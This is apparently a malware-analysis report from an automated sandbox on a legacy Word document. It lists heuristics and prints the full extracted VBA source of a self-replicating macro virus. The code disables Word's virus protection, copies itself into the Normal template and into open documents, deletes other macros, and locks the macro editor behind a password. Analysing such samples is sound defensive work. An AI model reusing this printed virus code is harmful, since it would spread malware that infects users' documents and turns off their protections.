MALICIOUS
136
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose, which are indicative of malicious intent. The macros attempt to disable virus protection and prompt the user with messages, one of which requires a password ('Cindy') to enable the Visual Basic editor. This suggests the macros are intended to manipulate the document's security settings and potentially execute further malicious code.
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6406 bytes |
SHA-256: 86bd9a078c07d5e0197bd77f66a30bb232299ab09b299729d8d4326e5678d4a1 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ARMHACKERS"
Sub ShowMessage()
'H = Time
' If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
' For i = 1 To 100
' Beep
' Next i
H = MsgBox("Terimakasih untuk semua teman-temanku di IK-03, dan seseorang(13-8-80)" & _
" yang ada di hatiku paling dalam [Cindy]. " & Chr(13) & _
"Terima kasih atas perhatiannya selama ini." & Chr(13) & _
"I Don't Want To Wait And When You Say JAP" & Chr(13) & _
"Sekali lagi untuk teman-temanku di IK-03 You All Is My Best Friend " & Chr(13) & _
Chr(13) & "(Ma'af mengganggu sebentar.)", vbOKOnly + vbExclamation, "Tararenk You Pisan")
' End If
End Sub
Sub PesanOpen()
H = MsgBox("Anjeun Bade Muka File" & Chr(13) & _
"Wilujeung diteraskeun", vbExclamation + vbOKOnly, "Salam untuk gadis 13-8-80")
End Sub
Sub PesanSave()
H = MsgBox("Anjeun Bade Nyimpen File" & Chr(13) & _
"Wilujeung diteraskeun Nyimpenna", vbExclamation + vbOKOnly, "Salam untuk gadis 13-8-80(Cindy)")
End Sub
Sub Bablas()
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
If InputBox("Lebetkeun password", "Hackers Mania") = "Cindy" Then
H = MsgBox("Congratulation For You Si Lucu Tea.", vbExclamation + vbOKOnly, "Salam")
Application.ShowVisualBasicEditor = True
Else
H = MsgBox("Password anda mengada-ngada, Saya anggap anda penyelusup", vbExclamation + vbOKOnly, "Fuck You Man")
End If
End Sub
Sub ViewVbCode()
ToolsMacro
End Sub
Sub FileTemplates()
ToolsMacro
End Sub
Sub HelpAbout()
H = MsgBox("Qun katawon walataqun kalaler." & Chr(13) & Chr(13) & _
"Puas Komputer Moal Mantuan, Bebeja Ka Dosen Atu Nya !", vbOKOnly + vbExclamation, "Hackers Mania")
End Sub
Sub ToolsOptions()
Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Options.VirusProtection = True
Dialogs(wdDialogToolsOptions).Show
Bablas
End Sub
Sub ChangeCap()
On Error Resume Next
Application.Caption = "Hackers Mania nuju di damel"
ActiveWindow.Caption = "(Salam Semata dari Hackers Mania)"
End Sub
Sub RestoreCap()
On Error Resume Next
Application.Caption = "Salam untuk gadis 13-8-80"
ActiveWindow.Caption = ActiveDocument.Name
End Sub
Sub OpenMyMacro()
If InputBox("Enter password", "Hackers Mania") = "Cindy" Then Application.ShowVisualBasicEditor = True
End Sub
Sub SikatDocument()
Dim DocOk As Boolean
DocOk = False
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name = "ARMHACKERS" Then DocOk = True
If Obj.Name <> "ARMHACKERS" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in " + ActiveDocument.Name + "..."
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If DocOk = False Then
Application.StatusBar = "Pengcopyan Hackers Mania dari Normal Template ke " _
+ ActiveDocument.Name + "..."
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="ARMHACKERS", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub SikatTemplate()
Dim NorOk As Boolean
NorOk = False
For Each Obj In NormalTemplate.VBProject.VBComponents
If Obj.Name = "ARMHACKERS" Then NorOk = True
If Obj.Name <> "ARMHACKERS" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Deleting " + Obj.Name + _
" Macro in Normal Template..."
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If NorOk = False Then
Application.StatusBar = "Pengcopying Hackers Mania dari " + ActiveDocument.Name + _
" ke Normal Template..."
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="ARMHACKERS", Object:=wdOrganizerObjectProjectItems
Application.DisplayRecentFiles = False
Application.DisplayRecentFiles = True
End If
End Sub
Sub AutoExit()
ShowMessage
Application.Quit
End Sub
Sub FileOpen()
PesanOpen
ChangeCap
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
SikatDocument
ActiveDocument.Save
End If
RestoreCap
WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
Bablas
ChangeCap
SikatTemplate
On Error Resume Next
NormalTemplate.Save
RestoreCap
End Sub
Sub AutoClose()
SikatDocument
End Sub
Sub FileClose()
AutoClose
End Sub
Sub FileSave()
PesanSave
If ActiveDocument.Saved = False Then
SikatDocument
SikatTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Sub Ancurin()
C = Documents.Count
If C <> 0 Then
Normal.ARMHACKERS.SikatDocument
WordBasic.DisableAutoMacros False
On Error Resume Next
If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.ARMHACKERS.Ancurin"
End If
End Sub
Sub AutoExec()
WordBasic.DisableAutoMacros True
Bablas
Application.OnTime Now + TimeValue("00:00:07"), "Normal.ARMHACKERS.Ancurin"
End Sub
Sub asli()
If InputBox("Lebetkeun password", "Hackers Mania") = "Cindy" Then
H = MsgBox("Congratulation For You Si Lucu Tea.", vbExclamation + vbOKOnly, "Salam")
Application.ShowVisualBasicEditor = True
Else
H = MsgBox("Password anda mengada-ngada, Saya anggap anda penyelusup", vbExclamation + vbOKOnly, "Fuck You Man")
End If
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.